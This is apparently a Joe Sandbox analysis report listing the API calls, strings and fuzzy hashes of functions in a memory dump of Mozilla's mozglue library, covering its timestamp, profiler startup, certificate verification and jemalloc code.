EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB3377E
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB337C4
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB337CB
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB33801
__aulldiv.LIBCMT ref: 6CB33883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB33902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB33918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB3394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CB335DB
GTC, xrefs: 6CB33912
QPC, xrefs: 6CB338FC
GenuntelineI, xrefs: 6CB33639
AuthcAMDenti, xrefs: 6CB33946

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction ID: 6de52796d05949d1965db8d9dc0e7357ba653e58ba362b32aa36b1c4926efa32
Opcode Fuzzy Hash: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction Fuzzy Hash: 97B1B579B083919FDB08DF28C44561A77F5FB89714F05892EE89AD3760DB70A801CB96

Function 6CB4C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB4C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB4C969
GetSystemInfo.KERNEL32(?), ref: 6CB4C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB4C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB4C9E2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction ID: c1b9a1ab4fadaa51039ee399f67ff83f7dcc53471292bf767cf5d7bebe68f34f
Opcode Fuzzy Hash: fd97a1c22084b36b855738aec6d47aec0eb0bfc196781df840794e0eeda6e61f
Instruction Fuzzy Hash: F3214935705218BBDB01AA78CCD4BAE73B9FB46B00F60442AF943A7A40DF709C048795

Function 6CB33060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB33095

Part of subcall function 6CB335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
Part of subcall function 6CB335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
Part of subcall function 6CB335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
Part of subcall function 6CB335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
Part of subcall function 6CB335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
Part of subcall function 6CB335A0: __aulldiv.LIBCMT ref: 6CB336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB3309F

Part of subcall function 6CB55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB556EE,?,00000001), ref: 6CB55B85
Part of subcall function 6CB55B50: EnterCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55B90
Part of subcall function 6CB55B50: LeaveCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55BD8
Part of subcall function 6CB55B50: GetTickCount64.KERNEL32 ref: 6CB55BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB330BE

Part of subcall function 6CB330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB33127
Part of subcall function 6CB330F0: __aulldiv.LIBCMT ref: 6CB33140

Part of subcall function 6CB6AB2A: __onexit.LIBCMT ref: 6CB6AB30

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction ID: 2ebfece716d82d0408f55ff379d9bd015a24134350b3eb38152f963f9e0fcd12
Opcode Fuzzy Hash: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction Fuzzy Hash: 15F0F91AE2078996CA10DF7888515EA7374AF6B114F50131AEC4963521FF2061D8C399

Non-executed Functions

Function 6CB45440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB45492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB454BE
__Init_thread_footer.LIBCMT ref: 6CB454DB

Part of subcall function 6CB6AB3F: EnterCriticalSection.KERNEL32(6CBBE370,?,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB49
Part of subcall function 6CB6AB3F: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6AB7C

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CB45516
GetCurrentThreadId.KERNEL32 ref: 6CB4556A
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB45577
moz_xmalloc.MOZGLUE(00000070), ref: 6CB45585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CB45590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CB455E6
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB45606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB45616

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

GetCurrentThreadId.KERNEL32 ref: 6CB4563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB45646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CB4567C
free.MOZGLUE(?), ref: 6CB456AE

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CB456E8
GetCurrentThreadId.KERNEL32 ref: 6CB45707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CB4570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CB45729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CB4574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CB4576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CB45796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CB457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CB457CA

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB4548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CB45CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CB45B38
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB454B9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CB45BBE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CB45717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CB45D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB457C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CB45D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CB45C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CB45D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CB45AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB45766
MOZ_BASE_PROFILER_HELP, xrefs: 6CB45511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CB457AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB45791
MOZ_PROFILER_STARTUP, xrefs: 6CB455E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CB4584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB45724
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CB45749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CB456E3
GeckoMain, xrefs: 6CB45554, 6CB455D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB454A3
[I %d/%d] profiler_init, xrefs: 6CB4564E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CB45D1C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: f5bd5bbe9224865081a258a5a44b99c944d48da2fab00e4ab0be69265adb6217
Instruction ID: 9acb1f93b8c89d3223382af746513dc9bae08762f9de08bd8bd10fe4bb31ac7d
Opcode Fuzzy Hash: f5bd5bbe9224865081a258a5a44b99c944d48da2fab00e4ab0be69265adb6217
Instruction Fuzzy Hash: 002225B4908BC09FEB109F74C85866E77B5EF46318F048529F85697A45EF30C848DB6B

Function 6CB7B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB7B845
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000), ref: 6CB7B852
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7B884
InitializeConditionVariable.KERNEL32(?), ref: 6CB7B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CB7B9FD
GetCurrentThreadId.KERNEL32 ref: 6CB7BA05
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8,?,?,00000000), ref: 6CB7BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CB7BA27
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7BA4B
free.MOZGLUE(?), ref: 6CB7C9C7
free.MOZGLUE(?), ref: 6CB7C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CB7C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CB7C7DA

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 7e43badf34caf565c060bfc1fec4a4ffd974049b5601b5005e4bbcfa067bcaab
Instruction ID: 43015057e2d53666b7fc6cee0cf23a2a1b6bb6df44c627189ae47d5bd27315f1
Opcode Fuzzy Hash: 7e43badf34caf565c060bfc1fec4a4ffd974049b5601b5005e4bbcfa067bcaab
Instruction Fuzzy Hash: D4A28B76A083808FD735CF28C48079FB7E5BFC9314F544A2DE8A997750DB70A9098B96

Function 6CB46C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB46CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB46D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB46D26

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CB46D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB46D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CB46D73
free.MOZGLUE(00000000), ref: 6CB46D80
CertGetNameStringW.CRYPT32 ref: 6CB46DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CB46DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB46DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CB46DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CB46E10
CryptMsgClose.CRYPT32(00000000), ref: 6CB46E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CB46E34
CreateFileW.KERNEL32 ref: 6CB46EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CB46F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB46F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CB4709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB47103
free.MOZGLUE(00000000), ref: 6CB47153
CloseHandle.KERNEL32(?), ref: 6CB47176
__Init_thread_footer.LIBCMT ref: 6CB47209
__Init_thread_footer.LIBCMT ref: 6CB4723A
__Init_thread_footer.LIBCMT ref: 6CB4726B
__Init_thread_footer.LIBCMT ref: 6CB4729C
__Init_thread_footer.LIBCMT ref: 6CB472DC
__Init_thread_footer.LIBCMT ref: 6CB4730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB473C2
VerSetConditionMask.NTDLL ref: 6CB473F3
VerSetConditionMask.NTDLL ref: 6CB473FF
VerSetConditionMask.NTDLL ref: 6CB47406
VerSetConditionMask.NTDLL ref: 6CB4740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB4741A
moz_xmalloc.MOZGLUE(?), ref: 6CB4755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB47568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CB47585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB47598
free.MOZGLUE(00000000), ref: 6CB475AC

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

Strings

SHA256, xrefs: 6CB46EC0
(, xrefs: 6CB4768A
wintrust.dll, xrefs: 6CB472CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CB472C8

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6586f76f42a7f2b162a28c068fe047be4a9dcdb3d9d431b4297dedda24a2f029
Instruction ID: 1e5756e3d38aaeadaadc459e2d4d708eaec4511aa4c0842a2c1a65279d90e71c
Opcode Fuzzy Hash: 6586f76f42a7f2b162a28c068fe047be4a9dcdb3d9d431b4297dedda24a2f029
Instruction Fuzzy Hash: 2B52C1B5A04294DBEB21DF64CC84BAE77BDEF45704F108199E908A7640DB70AF84CF91

Function 6CB66FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB67019
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB67061
EnterCriticalSection.KERNEL32(?), ref: 6CB671A4
LeaveCriticalSection.KERNEL32(?), ref: 6CB6721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6723E
EnterCriticalSection.KERNEL32(?), ref: 6CB6726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CB672B2
LeaveCriticalSection.KERNEL32(?), ref: 6CB6733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CB673E8
LeaveCriticalSection.KERNEL32(?), ref: 6CB6961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB69622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB69642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB6964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB696CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB696DB
AcquireSRWLockExclusive.KERNEL32(6CBBE804), ref: 6CB69747
GetSystemInfo.KERNEL32(?), ref: 6CB69792
__Init_thread_footer.LIBCMT ref: 6CB697A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CBBE810,00000040), ref: 6CB697CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBE7B8,00001388), ref: 6CB69838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBE744,00001388), ref: 6CB6984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBE784,00001388), ref: 6CB69874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBE7DC,00001388), ref: 6CB69895

Strings

<jemalloc>, xrefs: 6CB69B33, 6CB69BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB699BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB69993
MOZ_CRASH(), xrefs: 6CB69B42
MALLOC_OPTIONS, xrefs: 6CB697CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB69BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB699D2
Compile-time page size does not divide the runtime one., xrefs: 6CB69B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB69933, 6CB69A33, 6CB69A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB699A8

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ab896c8dd9377771990ef1d5abf848d353ca196d6e2a94461e0d736a0a978abe
Instruction ID: 8056b87450ae38a285e7e097718ec3cbbd627634a85092abfc6fa00cd02fcd01
Opcode Fuzzy Hash: ab896c8dd9377771990ef1d5abf848d353ca196d6e2a94461e0d736a0a978abe
Instruction Fuzzy Hash: 61537271A057418FD704CF2AC580615FBE1FF86328F29C6ADE8699BB91D771E841CB82

Function 6CB70DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB70F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB70F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB70FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB70FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB71031
LeaveCriticalSection.KERNEL32(?), ref: 6CB710D0
EnterCriticalSection.KERNEL32(?), ref: 6CB7117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB71C39
EnterCriticalSection.KERNEL32(6CBBE744), ref: 6CB73391
LeaveCriticalSection.KERNEL32(6CBBE744), ref: 6CB733CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB73431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB73437

Strings

<jemalloc>, xrefs: 6CB73941, 6CB739F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB737BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB73793
MOZ_CRASH(), xrefs: 6CB73950
MALLOC_OPTIONS, xrefs: 6CB735FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB73A02
